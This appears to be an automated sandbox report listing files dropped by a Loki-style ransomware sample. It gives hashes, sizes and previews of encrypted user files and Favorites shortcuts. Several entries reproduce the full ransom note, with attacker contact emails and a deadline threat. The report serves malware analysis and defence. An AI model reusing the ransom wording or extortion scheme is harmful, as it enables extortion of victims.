Preview:	.Y..u.\|..7C.A..;cZ).r.........d...CLy. ..c..'-........h...C. ..,/.'......C...>..[X.e...%..z........_U.}.....I...k........f.O.^...R>..=.-...o....8....).&..7.. J.[.....=_.9. 3B.2.:...l.J.A..C.g..-..;..,.....0..&.......q.T.VDj.1..U/...&.y....]F7...P...._<.b..N.8...]C....p.5Y\|h.3....7L..gIz...6...F..Z1....N.7....H.g#nj.=...'....2KXIR.u.......oo...u..8..UF..n.......G....y..p.....^7..P..^.jt...eZ..J.......;k.M..4....Gj.t;6<{..(P.b8...:....\c..$y...Y.....O..:S.x.O...Q..'H3....D.4s....X..b.M...$.n.-..0n..1\|.9.."..I..j4F....+..U.f.!)s...............ln..E......g.....E.........\.r._..)...l.Ab.nN...C=..l.......V`..w..)...)]...]W.Isv..............+k............%B.{.....w#Z+..w.Y..........4....)....&.).Z.G'..47..[..L.f.S.n......j..t...9..(M'..!..(..B`..V...;c......+...,..............Y..D._o?.L...O....Q...........(..5.~Pr.(.vD.g.?\|.G4...X..3..v..n.....vDS.v......1F....y.O.g.].C..d[.;..w...;.\.....FV(A....sL4.`.ym.xi.....a.S..\..i.\|HZ....5..

C:\Users\user\Downloads\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Downloads\TQDFJHPUIU.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.841256531917272
Encrypted:	false
SSDEEP:	24:zO/KJOJvKpBddSfDaYyrxpsbV1Iko9zMZ9/gC9NHOH0NdeTnf2sUHGSBpOmKR:ZJMirAkxpsbVMNM9oC9ZOUNdwf7c1gDR
MD5:	10C77AFAFCB5BD8DC8222D40CE471A54
SHA1:	1FD39F037F685BA332EC3DC82C9B737840D86804
SHA-256:	D100D50334D46FE0575F2CA3FAC38ED56745F7B9F39CB644AC5E8F27E7BCA240
SHA-512:	EAA02813A0366F2092768895EE031C53B6BD58397399E1BC9936C0D994F0509F151A72DA5422A8758D1EFE56D4ABB16C145377464E4B9BE8429598AC1F1DB0AA
Malicious:	false
Preview:	/.C..h.P.........wI......v.._..,.rZ...p..}...Y...6e.....h.....g8...9.Q!Q..S.'.A'[i.....Eu.3j.Z3..7...&+(usp.lw.J..T..2'.....k..l.[q....r@..k.D.2...ew..../....Y:L......./.E.u6=...(.!i.I..?Q..9."9]...].....yZW...)..(W...A\.s....,..;N\....<I.WC.D.f!.N%.>.r..3.2.Ar..h..Fe.........L..].Z.....w.J}BN.............0.Y.Ci..[.d..BZQ.K<f.z...l....6.3.RL.YmZc.Y..../b.P..trp.r.{.W.0+......L.>...Fa._.>h.k.7.F.K.&....m~ .+.Z.).$....;.7...r..s..K}.0...;>..:m .. 0.....SP.E.T....Vq..aA...p.....Lo.j.........L.Ax...+........l.....F^.b...Z.S..G.....5p. .(..UC.3...;.kL.-l.3..u.s.^..7>L.g..y..f.).Q..r..W=........S...PeB.)..)l.e....p...`.^..v=.p.....=o...q....28..;..a.ZO.B..h^.NNh..hD.Z..^...H. y..u../..q.sM..+...n.F..B.-28... w.`...Lt.....P...2.....x....\.G.o...<....A..'.eH...}w.....p..2....g..=E%.......B..Zx... ..Ml5..N.P......ARb....&.F.Z.C..d..S..K....<.....gt......h(...j:.q.D.K..?.~..KG...l......_4......t..9.5.1.[#.R..z._.<........~..N......ly.....

C:\Users\user\Downloads\TQDFJHPUIU.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.85445333960741
Encrypted:	false
SSDEEP:	24:YExwZsxMlWePtb/h3Uf07D0/ZH8iuO0vVedOqVayILnndxaDa/mzTij:YExziZtlA0P0/ZH8hOg+OQ+Te8
MD5:	5DA4B36D72949A10F6EBE69B13F56C4D
SHA1:	8DC9BA43E81978059F14552B6C74537E6B2E61C1
SHA-256:	EAC05D18756A66C3982095187C7DB1D7E6339C7F24609ED6EAF87A22545C72B7
SHA-512:	91A84EAC608BB840DB330385EACFD1EAF0FC4F1AD73C2D9998F8C1676C8A866C8688F7D2F19AE8DF8BFAEC14CEE8D7753C066DF5703637590B7FB4F6188B48FF
Malicious:	false
Preview:	..94......s.D...I6=".........#[.J....jNS....h.I.wy...g.-.F.e....p..}P.Y.A.K.3....qa...w..;......zv..d.G-..@...z9.....8.n...46..."_....v.1.c..^7.68-....R...Z....1p........}e0....R.S.a.[.ag...S.....Z.{...iO8....'Y..l...+.).i..o.<"Y....rJ.Y.. ...o.......8(.'.l.....W(8'Ah.&i.J..F.{...7>8.P.t.CI...B....}.u.P.7\..,..:E..T.0.5S...T\V.j.....e..9n....nyM..$.hC...Os....`.wP"(I...A...5.....R....B.I....=EZR..Ds.....iCRB....2..4t...$zE..A\|.*.G.Q.....G.H[a.0.w.uQ..5.aS.3.MQ.9uu.9...:e...%.M..Y..^.J"-.}..........\|.7...y.J..y.8.N........)......{..:.{..A..k...........I.....'.Z(.q..r...h ..kC.F.d..y.!....E.1.j.ld.T.>.G..... .}...{........pw.....hn..8b.........BN.h.....;.P.........O..+w.........6>:.QR.X..l..d.eo7.....v.....c.....!.....[.2..z....q.....mJ7..E..8.&:_P.P..3K.@-n7.2..S....~.y...^m......\ .......{.g..\|..2K.I.N_.....Gt...s..m..q..`7..-w.0.\`<..9.`...'.....hC._.X......b./9.............]...K.....t...'.Z!TG.2S.....9z k.....qS..x.X........Pa...J

C:\Users\user\Downloads\TQDFJHPUIU.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.845386719935112
Encrypted:	false
SSDEEP:	24:5AqT71EfJ5umHiaCH4zRPfRvpnZ0flXdnUkJOyVlPjdShH:5AqTuJjiaCH8PfRvhZ0ttnU/opS5
MD5:	5A873E5ACA31C90B22338F855C780E27
SHA1:	BF43D9C75659E5D05CF732C1F9B1368B943F5FA4
SHA-256:	36E3CF0B006A5633B35954ABFFDB1E8FCB8F22B7335FC12C4BF23271EDC8C936
SHA-512:	A3466923C632C9FAF107CF9830A6EACF4BFED35B599A75D42EAE264B63313D5877394431EE72A5BDB6B2AAE24BDF3A866560BBCE51E4852B994933A990B96CF6
Malicious:	false
Preview:	Z.\|.W}..R.hq.uD.jP2@.J..m.."`..7.g...c.w..s.0..v@j.$..f....i....h....,.x t.0...D3)....6.9.O.A..S'S6.dA}..../FC....1}S.....I.HL-..W........M..y.....y.mq...1.....F..q.u.F=..(e.4..-...q.y..W..U...F..Z).@.HRw..".t..K'I.....Vd..i.[..M..0^M.l.H.a.....Ukf,..0h......O..!k..~....0....R....]\......H..=.....)@.HR8...#..8...c.w....9-Xy.....Q. o...kkw...../..9..qX..S.o.{.W..b..4z....RF.{..W.Tc............f...WS....?...BB...>=...\|>D....q.....<..Rp...=.j.[.!...=.d..N."Q..b....V.G.....\.<..b.t}.DV..6mJ...%..t.k.Gk.}..Q....F.Q.5...+..+.V\.......>.n2....I....c.Z=....]...D....'C.....o`M.+.P._[.....Y.....12!.m..p.Z..>.Lv....Dm.....$.M.O<...5..>.\|.C.Zz.U..f.1%....P.q<Z..o.....c..@......L..y.?...2..XO.(.-1k.^j...So?......e.2.......~5..{.<......]..]....V...<.(..n...'h0..W.0.Q...TG..o]L.nm!.....'..7.A......nxH.19.T.lPd6..XrX&+.T..+...~L...s.x....QG.k..i%V...c.%#o.......<..S?."B...(.Q....*......!.2].)9..W...q...mRNEY...........t....WOb{...g....A....0...TZ..<h.t..+.fY..

C:\Users\user\Downloads\UNKRLCVOHV.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.854239975937137
Encrypted:	false
SSDEEP:	24:Z1F5WSCXOPsF/fO29johylVOTEMrfQNocQZ7ZKuwcmlZfAK5:rcOPKfLjohylQTEWfQNoBFJSlZ/
MD5:	9523C53DAA7BC55C504652B35FE602BB
SHA1:	8D60EBC55C5D2970672A40EDEE0D5EFC656F0417
SHA-256:	7C772C6B45168367D26B0DC0E292DCF96EF3BC513723876117A4A6C29F266479
SHA-512:	1538174E48F0B5CA197DEB3569DE6EB9A80D7F30964A6838D7E32E62E73DE1A1B264BC6F8C7F955B58055EA2D688B719F75ABE5E27F64B7E2CE1179848E1E275
Malicious:	false
Preview:	...@P...LeO.Ej-I(.&1D.....5. .P.....C...?9P......i..'......&.3..b.w......w.;y..j......;.......I..OF.....CK....`v........y.%..Tp..1mo.U[.R.8..l.1Hk.Wt.s.b..pY..F....\F...y.......;..Z3..?..}\|.....vx}..f.jOq......i>.ul.K.~.H..a.F.>^.@o..-8\.A..a.bn.. +}H.....<....1..82....w....6._.K[.V).S?Y+.9F73qj..!..F..P..:...k.(\R8.k;....[...o..s..,..\$}...<.wY".^r...Wy...o...om....IJ.;...L.U+......q...a3.n..;.. .'.F.......lS.l...=......pI.....TA........'.z..0.i.y....f.MfY..$.II.....[.cjx..`...E(..[. .D.t..K....'i.M.Z............?`,..~u...=...........U)..c".Z...[.#.i.^#...d..z...^...NS...@l_..n..j....x.w&.Xz..V..x7H...G...f-...A#C..Z...\..S....E@.......G1.r...)...q.O.:.....D..IQF;...<@..l.O.h..&..S.......X;.W.l.@..E.v......`..d.l4tF,.=U.Z.}t.....oG..}>..N.8.^V....0..'.......:..a&.h.$dE.h21bb.3a,M...sZV.)(..~..q."I..c!N...M.c.p...I.dJs.D.<^.\............B{u...F.....pIb.....v.."..@..]T..n....#...7.p..N.!n.\.A.+.d...Z...v.?...N.\....X.....'.._.y.

C:\Users\user\Downloads\ZIPXYXWIOY.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.862683322295227
Encrypted:	false
SSDEEP:	24:7VxSv0wV1R73FKTCOOGBsblUyXsTAL8RzQwsNIOY00JQC69YRt+SSJZhd5jOXSm:/S8w93FnOhsblUyXt8RzQfyS2X1USSfK
MD5:	099D6C3EA7DA551647A0A8A8444B7484
SHA1:	FA0D7722E83EE36CEDFAEB02C6638D1466ACF920
SHA-256:	6598DDE8EAC47D758115A69B495F23ED9442CD77BA599DC0DCAE129EF0D328B2
SHA-512:	2CF92A1C0F1F7F6AD3ECC1851813178F8033F54E25B67BA283DB85FCEE4AFBFDEC0E9C6E3713113648A1509811E4D0483B924914D1F18D21B39716F59C256999
Malicious:	false
Preview:	....6..Xq.....f.c.p...R!....b.....#l[.~..Jn..,.>1h..4.u(.[l.%.LQ.~~.Y....".]....20..R o..2h.$.E.Mh6J...Nir.K.A.4.lxP.N6.F..j...P.Z@.K..7..&.j.GR._.\|*Hq...5.P@.=.JK.Z[A..0Ghc.{`b..h.<..v.....H........Vn..c.. .\b..._e....a...@.._....4.p.gFgx(.+..HW....p%...\| ..P..S^y}.9.L\....H..\o.-..x.5_..]w..&#.T.8[[.+.Y..E.....V. A..O3....a.UT.......v...4wM-.........yqN....g....k.a/2...p.;.=7e.nR.~.A.`".9.=[...9.%...;.6Ul..(I........5...I\. Mm..H...>I.o....N%.B.....?h.....sD.X.;.[....!........j...8&..~.a.5...T...y..:2}.K.s:....P...."K.......s...6...b,42 .}.^J..B.b,.Rm)./%eFLQ.`B..5l..z..CMd....7..B.].m Q...`7S...@..m........"..B..v..(......n....%.)......1....(-.1..i=.}.L.'.w.]..].q..w.v.d..9V.[(..V....v..h...7...E...'.$M..'..c.!.n........b.?6....w..IX.M.>v.\|.;..KW8.s...9...'\|.].B..D..H....Y!..6..6.dC...Q.H..5'M.D....\|G.W.....@....2......3....K?D.(...o3...4...uO....].;.p....Y.......}..3DY!.z.x.....0.....Q.Wd.,X.m.T..k..jyz...5!C_Vw..(....R..y\.93...C.9..~.P.

C:\Users\user\Downloads\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.5472468463630396
Encrypted:	false
SSDEEP:	12:g7jYZReWwG9EqqzTnGKgz/BHHjh+gCnBqbdTy3NJBcETX8:gXcRnwG9EVp4dH1inUbYBr8
MD5:	7C88559A92934EB3ABCAA77F1F5B88B2
SHA1:	EA9D4D72D1C04B4F4B430C8A29235450F309A854
SHA-256:	CA6A934CDF206984AD6416B0E8E5DDEADFC825DA3B5E93DBC6D82EADE14B3B85
SHA-512:	0F7A238C85EE8B5FE249FB00E277E5564561D6677F9D84BF7D878ACD0947AE87E003B6943ED749E9E6DDAEE43FCDD07828C7D0FCC124D643E6299E7E4EF42900
Malicious:	false
Preview:	ht.........H..>........6O...0......._kYm....d.'..E=.4.).u......y...-B.^....<.`IJ.W._.6(...#e^... v.a.d.$...<Z...)J1.F.f.Y..,.....$...}.rzC\.... .]..q.....o.H...).....RfwF.A.+.0.K.v.w6.aH).c...:.hB..t4..b........-.$4.m.}.S.+.or.J.."...p..K.;....W....7.......R+.+..Wrf...^.C0...H.D..".y...w.XS..b.;..:jcA.n..j1...5.>J...m...a..vT...s.vX,b#..../..../.m..I.....D1...O...~6..S O=.f..../...G.#.....\..../.X....7..N..)....-$.0\|..^.....1...2k.Y.W.(ZL..G.'.;..hs......x.t....sP..h.r.f...b.....B.*9...Db...............6F}.D..yW

C:\Users\user\Favorites\Amazon.url Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	367
Entropy (8bit):	7.391285470905028
Encrypted:	false
SSDEEP:	6:9FIJdydLuuDsltRXVtVPReaRDpZ6ggmz948KS8zYWMG5pjz9GD9/o6nEZPeWSTJF:9F0dydlDovtVPRug9zS8K2Wx5Vzc9AXe
MD5:	1EE6992A03B26D963B02E52F55721ECD
SHA1:	06D89BBD5B85C0080D36F3B330F05CB1CE17C06A
SHA-256:	85CD1D16F47C71E50C0FB5C6397F0AF28DED67DCBACA740BFDD9AC091BDDCD7C
SHA-512:	56CBD57459551AF4CB6210A51582B81EA2270A4F9525383DF44234C0DB44003A0B46E8EAF7B01ABFB34F5D003E20304536D296BA27ED12FA836377ED7EEA9910
Malicious:	false
Preview:	M...A.sN....>d~3&(...u...>..e..X.;...R...8.. ..x.=?.....1I.......L.3..\..>wZ.`y..]....@...K........b......._.,.......BB#3`....>..h.......#D.e.Z..5....;...N.. .Ek.:q...v=.k........L.v&..Z.%.....~.}.H.+.w,H?..uu.(p`L.J...,.Q4......2P.\^h.g..Z.l....;.....\|H....i.....4wiV....$.MrX.^....\|..>z..g..~:.B.....5kN.....@...t...8./.....6$.....o...b..>...%

C:\Users\user\Favorites\Bing.url Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	464
Entropy (8bit):	7.544649011410729
Encrypted:	false
SSDEEP:	12:+cgkRvrA02pYx26X95liW5gBm8HvVOb9zNCMzwuzdC9o:+yy0wW26t5l/+FVO9zNXzjJ
MD5:	641A478836F9981054BF82D5C2726F3A
SHA1:	AB8D0CA8F18A7C97CF6FA4AEA97E3C195ECCCBFE
SHA-256:	FA43B57273DD70AECF22263CAA548556360C103951FA49D2720CA9DCF6AB8819
SHA-512:	696A82E029846001801CDB8671284AB8F695F2D0C1E694634C410B32DF80BEAA63A953A215F6F58C8540812FB36350E48CDB8A711C1E4ECE96884C2BF4339FB4
Malicious:	false
Preview:	Z..5..1...Z........A../...vSoM.Z...<..sp`..Y..K\|{..g..u....Mpcp...4..Ke...Z.qA_...G...Nb@..J...O..T!._.....C.Fq.$I..!.AY..o.%z0~.J.hT...[,.8..n(-zC.y..A..&g.Y...:%!..%.......@..i.Mxe..s"..X.Vr.2..%..==.s..{.w.#$..=r.....&g..(.2........T_.].......).....d*D.G.k.iR...].:t....%.....+.A..}7.x.....k....K...:.X4....x......r...^.N....I..R?..H..S..-..) ..E2.A..k...z...A.^Ey\|`....@....-...L..'.>.<...~..E...:.e<....E....h. .m.Klj;.{......l.R.Z..R

C:\Users\user\Favorites\Cpriv.Loki Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033602153554147
Encrypted:	false
SSDEEP:	48:bMH08OoaHuJrSuwJAVePwy0tU80FUYlUyhL96eMuKZPT5bKc3NYCCjaonThOXWlA:bMU85EuJBeAVt9qhL9ybAaiFOK2
MD5:	99E4422574E75F2D291B0729FEFB379E
SHA1:	B8F585556F0C659308673D0181C752ED7F5ED23C
SHA-256:	EB42AEDAC405CD5269CA03AB076D636D9FA8BA1C687698F6BB93022D2C9ECD2E
SHA-512:	C0A46F19B10FEEC314F8F9A8C8136B7EB2575DD901726B5D9DF2F9BFCE9E03448981D7685A3C7EF4FF5FBFD8BC76A12E641096107A76F862CF53214CD0701669
Malicious:	false
Preview:	aFpTPMeOLzkZf/U7S+5LE7wQpPhuYYt2h71l0sOjH3N5jL+BQpjEIrl3rBln08PonAFOej32zEkz..5JmAdGdd4mM26NMOhjFDYmEbNxv8wo9TP0JwGoerBEImK3MaQ4biWLJ8eig6BygkQsgWhW3g+W/s..y1UmNLMZXkd7tT5d6U8QQqBA+l0zuM3YXIMt6s0lssezZTuuJR3vHupE6lOlAwKLRIvOvcOUrYli..M1S37e3d7KtFTfhqUis69dAXQubK3jqwjIWAY4bvOiXDfX5tVbI1k/HbY70drfwTBL7dZZcbd2Zg..Qu2IBorgXPWBUmx94U+jszt46QtZMX8OEFQzWByn+JMG2WFRE8B9HXikVEHyZwyzXmrl/V4F3F02..djfyX1/wm/yCYVRacOCSLin43U2OlFgsdSwqIyYHLPAlIPTe9UKENsfYRwadlW18V8OvZqvY414R..9r02ylF538N32UrRSl3l33nWkj8j3njTVW5wP3B2e6Qwif/pgrVWzEsC+opmYs7HQnkb6nUPP+Xc..mBZQm47Wldh7IC3nVIIO3sEKdFQDLfpTmmEkK7tibDk1moeE6OJ1zQsO7mJF95a0wh8D9BeOpPAo..uhcw10a7hIFGIttp/0Ce7gmDZAywQJqzoPOhUpJgjiGREZ8tnv4qLihvZzH9ThgJvpVlEhLwrlOI..uvnsIbH1o3s0tQZFsE08ZE5hWXnys5fB+nWT+03gRZr93xNezMEu5khpSLY19TWJWVM7S9dwzaiY..Lr7PB3zAKGfZs6J6pEAHIzG9/CJo2CYyNIcDiH4bWFv3xJfRTtgN++jiqcu5fX9Oi+b2DEW90PPv..ZN9wNelChzupY+ULTSnpok62aoNXlkSC57Bm/jwTab57In7FPwyn61fw6+055MBcp8GGMKw8eiAZ..IOrYOhedeFH7drkD4g/qHSPY1j47/CLid9/RFkC++csa5rNOxqHmeEvpNwtVbFGH

C:\Users\user\Favorites\Facebook.url Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	369
Entropy (8bit):	7.445428725442505
Encrypted:	false
SSDEEP:	6:NnGCrUFAL2vJQsAAPgWYFaQiWY81wxucjddvAIPXtdO7wwBpAc+mG3pvhQzci8i6:NGo7a/ZgBrY8lETvAIPXtdO7NjcD3FxZ
MD5:	C204B567057773328E2B1E0BF99BDB89
SHA1:	F58A56146DC2062DFADB096E6A5FCC02A99D9082
SHA-256:	6A0F3A781511AAE2336571DCC5A7AF2D79D1E07C604BEE692C559A9F99FC8360
SHA-512:	D4C48184629C24EE2B861C16D00448384D8C34F9A1C32DBDEA6CDAD42F3F46440BA1BDBE083A8C9DD8C6B407A71906B30EF28936204F79EE3B71653EDEF44D4A
Malicious:	false
Preview:	1.Z..+~..qm!&q....]...a.T.^Yg......2....Y.....6:..F.J8........]D.sWC..%qX..@..m.i.....c....uu..>T....4...O}RW0....N..M..E@....&....$;.......$.!..-*U.A.e.Vh,.."..A\..S./.RR.g<...I.E...\|~6...]?Q..B.V...\]%.R?.}...4...p.._.%/^..Q....L....^..P....5Tb>8...v....e......Z_..dMmO.f..=..VJ..bw.B{..~.Cjdi..p...h.!......H.vu..\|...}...".%S.D.B'..........^.A...

C:\Users\user\Favorites\Google.url Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	367
Entropy (8bit):	7.457603444822292
Encrypted:	false
SSDEEP:	6:qDmjRSHePAkXMooNxIH6+TSzIlPvAGD5YLtWgRu6r/aEPtEVuwIju1yDgl/Tyqkn:yHMXM1NmH6+TSgt8IgRu6TaEPqVCj2lk
MD5:	7A95A71A0C39AFF036814C64481FE6E1
SHA1:	B33671C6101EDBE92AC65E689BBCAD1230061AD8
SHA-256:	A83CEF72BAA8F791DC18D4079A03E77D0008D82353E80EABC14B34CE14B95751
SHA-512:	472802288D4D4BA6113F6873BAD5910F0022721C4F36E28CB7C2292DB46BDA645C998DF32CC721C9FCC684345850DB1861C6A7C66665442D08CC6F7A376B2831
Malicious:	false
Preview:	.r0..D....b.g..].......H.m...K..ug..j...I5.I.u..........x...6..o.W.MQD../?\T.6{/O....._.d}....8..Y.NZ..E..!.gT.H..../.m.'2...Y...E........1..I.sIFS.9\|....q!..pBP>.B.n.AU.o......8..'3.a.......#,k...LFcb.....E.{.2c/g..Nt?./u.....`x%....b)....k$..j.vse..&...q.\|........7A.c...'D..<j.6.~....\.t.X%\|...$.J....e..2!v..l...A}.7.3.z.E...]P>..b.5R..

C:\Users\user\Favorites\Links\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Favorites\Links\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	336
Entropy (8bit):	7.398371674314832
Encrypted:	false
SSDEEP:	6:usMYlb70w7OS41GCA6byIo83HRGjHwA1cb3SXpklejSxYndgVpqJO7FuJRHx1MMn:nVlX0w9aydJjQA7X+ejfdgVpqnRFJm5m
MD5:	FF5664C736868B9D49800ED0C3B3D901
SHA1:	A101EECF1476271CB06992A2026B4FB233D7099B
SHA-256:	3F277D2943EEC63AFC364B3973A38AB4C84E922A36A55440580953F5FCD8230A
SHA-512:	C0FAAD96F6B1027EE74A01B5C0614B0788D4B49AE9B0329390EA4090CB4EDF6577FD3F65380941B941FE89A59CF73E151C355F1ED8C4131D409BBDCD83BBB345
Malicious:	false
Preview:	.8v.x...."..h...-...1.N.....R.\|.~...76.O..<....m.k..&.....q.N.:....*...H....H%........:V.7.........p..$.7...L.D~v..M 8.`.....R4.`.=.....8a...Yt......=0E.2#B.`.9...%.i.\|..+...5.{...i......?..^..Q=..hP.......].....{9....}.....x.G.....Oz.8.......,<m......Md......n.e...(I.C^..3.\..}uZU.o.NlD..}..;:..@$..+M..t.p.e

C:\Users\user\Favorites\Live.url Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	365
Entropy (8bit):	7.394382586740498
Encrypted:	false
SSDEEP:	6:Uv6zs9NJX3ImyaV2fyYzTnUyemyI1JikoykFMDU1Je4VKnyORMj8ay1vGfJGt5Vl:UvM6JnSswyYzruKikiuZ4VKTMgNOhkn
MD5:	E7B2D677A40A62C50805C0119A8256DA
SHA1:	2EB15845196AF2DB185CD7CE4CDA62770A85FED2
SHA-256:	EA9BC5A1B9EF68EAD05F4CCFE81D323FD51F3EF9C54F0EF3ADBC759555432879
SHA-512:	4269AA07911364BB2BE58ECA2D502F6C65C1CA23111DAF21A1E5AAB41CBC17878DCB66D52591B0DE50AAA479C3A309677E48419B91995450E2C4B8E8F6A09F0D
Malicious:	false
Preview:	*..%.h....n..=".,.N&..F.3q.%.j.i+......>\|..5x._]_g,.m..1.U.....m....YOP5.B.K<.wq.^........Q:!..Qj.V.^....k...).^....T.=y..k....F.v. x.s2....;C. .}.....^..V0...%.]..x"...(....7.H.j;$7..8..\...N...%oo.]....j.,.Ij..ZC..,....-i.....7.......m`j.....{5`..z.....>T...}}f......W.?_......I....$....;..9hj..%..r.@".#.....j..J.....o.x.M....:482.....\.\.D

C:\Users\user\Favorites\NYTimes.url Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	368
Entropy (8bit):	7.454063553996374
Encrypted:	false
SSDEEP:	6:zrmgQeDEKRUoDjZqf1tfgAodXWVo7SDKqKiT/6/96+2vjmfrNh2GkKasFaY49a:HDEWZqf1PgWC7AKqKiTS/Y+20rIca79a
MD5:	FB49199E8CC49028C254970EB0DA07B5
SHA1:	47BC2D0C79E1392722AEFCEA3E0C6E89FD67B390
SHA-256:	4400F33F6E72089C88A770EBA5429FE265DDED28CB5FF08F112DCD08B8F5D496
SHA-512:	5B359FF4612B2C3FAC2EEA2FDFD5315E75C1FE3C9CEA3955C1117B71A3C68ED2DA34B3F4D61C72FD53D13D8DC7C46ADC28AB79E66BC370B92C1D9BA85E442904
Malicious:	false
Preview:	.0......H"T@..!.0E.@G....3,.0"/A..}.Pr\.qg...T........E.@#.C..>~.e..t...p.-..hB..J.V%c..o!.\|8.q.W.[5...t#./...i...3.......m+....\...@:.8E.....e...\|4.h...Z...P.q..j,>D.t+.........=./.*_{..F......e.Gv....u....E.1.?.T..F8]Du..io"..O.l_7....F=..]ws.T..L.J..e......k(/...6.Z>C..NU....1..BB.V.f{Z[.&v._..~...D....V...bM.]f.....\O......."..K.....C/^.....9....i.

C:\Users\user\Favorites\Reddit.url Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	367
Entropy (8bit):	7.4529453904774785
Encrypted:	false
SSDEEP:	6:Naft3yRFnB1/rYuOEXSdufxKYZ/kJJooP3Jpi3HGNUdkLvKN/KrSUXcueO4ujYMr:RRFnB5rD9XS4NkJm6fRNUOvKN/3UZ4uT
MD5:	E01D9F62BDCF29130F39BD94CED6BDE4
SHA1:	2A18479166C1A178E77E539AB5C9480D18D1C8B1
SHA-256:	AE068A30A4CC5135FF1023E097B06193ED5D4914B088E6B8ADFB3A72574886A5
SHA-512:	714876CC2C38E763F9D7E0B4688D0305F789CBF35A9095CA672841906DBFDA9CF530C7F3ECE8E6244FADAB81185985517054565E0C1E481D7A2446C11524DF4C
Malicious:	false
Preview:	.....6..0i..[dN.A(."h.6fU.x.'...{..R....=..U}?...KhC..e..G*p..."<.h...?.y..T..,. .....>.xYg..@.lf......Y...u..Y.......$`L........B.[..2..V..3q...`O.....4...wu..y1...x?...'+..'....M....8& !.:,.#l`.2_Wb9..`(.1y4.......e.\|.9yX.Z"...S... v..A...+.-.d."w.X.U....bs..IC.J"..7.........."Y............7......k.K..G....R..?..^.(.I...a..X.`o...I#iA%)<a.2.\|.>..c.

C:\Users\user\Favorites\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
